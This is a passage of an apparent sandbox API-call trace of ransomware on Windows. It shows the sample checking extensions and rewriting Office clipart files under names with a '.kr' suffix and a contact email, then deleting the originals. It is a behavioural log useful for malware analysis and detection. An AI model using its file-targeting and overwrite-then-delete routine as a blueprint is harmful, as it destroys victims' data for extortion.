lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.899] SetEndOfFile (hFile=0x53c) returned 1 [0192.899] CloseHandle (hObject=0x53c) returned 1 [0192.899] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.899] SetEndOfFile (hFile=0x544) returned 1 [0192.902] CloseHandle (hObject=0x544) returned 1 [0192.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0192.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.904] lstrlenW (lpString=".doc") returned 4 [0192.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.904] lstrlenW (lpString=".docx") returned 5 [0192.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.904] lstrlenW (lpString=".pdf") returned 4 [0192.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.904] lstrlenW (lpString=".xls") returned 4 [0192.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.904] lstrlenW (lpString=".xlsx") returned 5 [0192.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.904] lstrlenW (lpString=".ppt") returned 4 [0192.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.904] lstrlenW (lpString=".zip") returned 4 [0192.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.904] lstrlenW (lpString=".rar") returned 4 [0192.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.904] lstrlenW (lpString=".bz2") returned 4 [0192.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.904] lstrlenW (lpString=".7z") returned 3 [0192.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.904] lstrlenW (lpString=".dbf") returned 4 [0192.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.904] lstrlenW (lpString=".1cd") returned 4 [0192.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.904] lstrlenW (lpString=".jpg") returned 4 [0192.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.905] lstrlenW (lpString=".doc") returned 4 [0192.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.905] lstrlenW (lpString=".docx") returned 5 [0192.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.905] lstrlenW (lpString=".pdf") returned 4 [0192.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.905] lstrlenW (lpString=".xls") returned 4 [0192.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.905] lstrlenW (lpString=".xlsx") returned 5 [0192.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.905] lstrlenW (lpString=".ppt") returned 4 [0192.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.905] lstrlenW (lpString=".zip") returned 4 [0192.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.905] lstrlenW (lpString=".rar") returned 4 [0192.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.905] lstrlenW (lpString=".bz2") returned 4 [0192.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.905] lstrlenW (lpString=".7z") returned 3 [0192.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.905] lstrlenW (lpString=".dbf") returned 4 [0192.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.906] lstrlenW (lpString=".1cd") returned 4 [0192.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0192.906] lstrlenW (lpString=".jpg") returned 4 [0192.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.906] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0192.906] lstrlenW (lpString="FD00435_.WMF") returned 12 [0192.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.907] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2108) returned 1 [0192.907] CloseHandle (hObject=0x544) returned 1 [0192.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0192.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.908] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.908] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0192.909] GetLastError () returned 0x0 [0192.909] ReadFile (in: hFile=0x544, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x83c, lpOverlapped=0x0) returned 1 [0192.910] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x840, lpOverlapped=0x0) returned 1 [0192.911] ReadFile (in: hFile=0x544, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.911] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.911] SetEndOfFile (hFile=0x53c) returned 1 [0192.912] CloseHandle (hObject=0x53c) returned 1 [0192.912] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.912] SetEndOfFile (hFile=0x544) returned 1 [0192.915] CloseHandle (hObject=0x544) returned 1 [0192.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0192.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0192.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0192.916] lstrlenW (lpString=".doc") returned 4 [0192.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.916] lstrlenW (lpString=".docx") returned 5 [0193.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.226] lstrlenW (lpString=".pdf") returned 4 [0193.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.226] lstrlenW (lpString=".xls") returned 4 [0193.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.226] lstrlenW (lpString=".xlsx") returned 5 [0193.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.226] lstrlenW (lpString=".ppt") returned 4 [0193.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.226] lstrlenW (lpString=".zip") returned 4 [0193.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.226] lstrlenW (lpString=".rar") returned 4 [0193.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.226] lstrlenW (lpString=".bz2") returned 4 [0193.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.227] lstrlenW (lpString=".7z") returned 3 [0193.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.233] lstrlenW (lpString=".dbf") returned 4 [0193.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.234] lstrlenW (lpString=".1cd") returned 4 [0193.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.235] lstrlenW (lpString=".jpg") returned 4 [0193.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.235] lstrlenW (lpString=".doc") returned 4 [0193.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.235] lstrlenW (lpString=".docx") returned 5 [0193.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.235] lstrlenW (lpString=".pdf") returned 4 [0193.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.235] lstrlenW (lpString=".xls") returned 4 [0193.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.235] lstrlenW (lpString=".xlsx") returned 5 [0193.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.235] lstrlenW (lpString=".ppt") returned 4 [0193.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.235] lstrlenW (lpString=".zip") returned 4 [0193.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.235] lstrlenW (lpString=".rar") returned 4 [0193.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.236] lstrlenW (lpString=".bz2") returned 4 [0193.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.236] lstrlenW (lpString=".7z") returned 3 [0193.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.236] lstrlenW (lpString=".dbf") returned 4 [0193.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.236] lstrlenW (lpString=".1cd") returned 4 [0193.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0193.236] lstrlenW (lpString=".jpg") returned 4 [0193.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.236] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.236] lstrlenW (lpString="FD00586_.WMF") returned 12 [0193.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.240] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=752) returned 1 [0193.240] CloseHandle (hObject=0x54c) returned 1 [0193.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0193.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.243] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.243] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0193.244] GetLastError () returned 0x0 [0193.244] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2f0, lpOverlapped=0x0) returned 1 [0193.245] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x300, lpOverlapped=0x0) returned 1 [0193.246] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.246] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.246] SetEndOfFile (hFile=0x51c) returned 1 [0193.246] CloseHandle (hObject=0x51c) returned 1 [0193.247] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.247] SetEndOfFile (hFile=0x54c) returned 1 [0193.250] CloseHandle (hObject=0x54c) returned 1 [0193.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0193.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.251] lstrlenW (lpString=".doc") returned 4 [0193.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.251] lstrlenW (lpString=".docx") returned 5 [0193.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.251] lstrlenW (lpString=".pdf") returned 4 [0193.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.251] lstrlenW (lpString=".xls") returned 4 [0193.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.252] lstrlenW (lpString=".xlsx") returned 5 [0193.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.252] lstrlenW (lpString=".ppt") returned 4 [0193.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.252] lstrlenW (lpString=".zip") returned 4 [0193.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.252] lstrlenW (lpString=".rar") returned 4 [0193.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString=".bz2") returned 4 [0193.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString=".7z") returned 3 [0193.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.252] lstrlenW (lpString=".dbf") returned 4 [0193.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.252] lstrlenW (lpString=".1cd") returned 4 [0193.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.252] lstrlenW (lpString=".jpg") returned 4 [0193.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.252] lstrlenW (lpString=".doc") returned 4 [0193.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.252] lstrlenW (lpString=".docx") returned 5 [0193.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.253] lstrlenW (lpString=".pdf") returned 4 [0193.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.253] lstrlenW (lpString=".xls") returned 4 [0193.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.253] lstrlenW (lpString=".xlsx") returned 5 [0193.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.253] lstrlenW (lpString=".ppt") returned 4 [0193.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.253] lstrlenW (lpString=".zip") returned 4 [0193.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.253] lstrlenW (lpString=".rar") returned 4 [0193.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.253] lstrlenW (lpString=".bz2") returned 4 [0193.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.253] lstrlenW (lpString=".7z") returned 3 [0193.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.253] lstrlenW (lpString=".dbf") returned 4 [0193.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.253] lstrlenW (lpString=".1cd") returned 4 [0193.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0193.253] lstrlenW (lpString=".jpg") returned 4 [0193.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.254] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.254] lstrlenW (lpString="FD00775_.WMF") returned 12 [0193.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.255] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11152) returned 1 [0193.255] CloseHandle (hObject=0x54c) returned 1 [0193.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0193.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.255] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.255] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0193.256] GetLastError () returned 0x0 [0193.256] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2b90, lpOverlapped=0x0) returned 1 [0193.258] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0193.259] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.259] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.259] SetEndOfFile (hFile=0x51c) returned 1 [0193.259] CloseHandle (hObject=0x51c) returned 1 [0193.260] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.260] 